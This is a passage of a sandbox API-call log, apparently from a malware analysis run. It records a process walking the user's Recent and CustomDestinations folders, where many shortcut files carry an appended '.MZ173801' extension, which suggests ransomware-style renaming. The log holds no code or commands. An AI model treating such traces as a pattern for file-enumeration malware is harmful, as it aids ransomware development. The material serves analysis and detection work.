ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98fd0cc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BjOU5EtsAQWNRx.flv.lnk.MZ173801", cAlternateFileName="BJOU5E~1.MZ1")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfca9620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ff6e20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="c4 27Qhg4nHWZH.lnk.MZ173801", cAlternateFileName="C427QH~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x990430e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="CezH.lnk.MZ173801", cAlternateFileName="CEZHLN~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea36ba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdea36ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x990430e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x20a9, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Cgmyp-9fTcDYC8.lnk.MZ173801", cAlternateFileName="CGMYP-~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99069240, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cL2y69LbLQlaeySm.lnk.MZ173801", cAlternateFileName="CL2Y69~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x990b5500, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cpu4Mje4zMg_.lnk.MZ173801", cAlternateFileName="CPU4MJ~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd1ba40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd1ba40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x990b5500, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="cqQ5qVHTS.lnk.MZ173801", cAlternateFileName="CQQ5QV~1.MZ1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0122.575] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.575] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.575] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0122.576] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.576] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.576] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 0 [0122.577] GetLastError () returned 0x12 [0122.577] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.577] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.577] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.577] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.577] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.577] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0122.577] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.577] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0x820a4b40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x820a4b40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 0 [0122.578] GetLastError () returned 0x12 [0122.578] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde763180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde763180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x990db660, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="d3lWIeO.lnk.MZ173801", cAlternateFileName="D3LWIE~1.MZ1")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf47aa80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf47aa80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x991017c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xed7, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="d3tdrORfPWVhLxPWU.flv.lnk.MZ173801", cAlternateFileName="D3TDRO~1.MZ1")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, 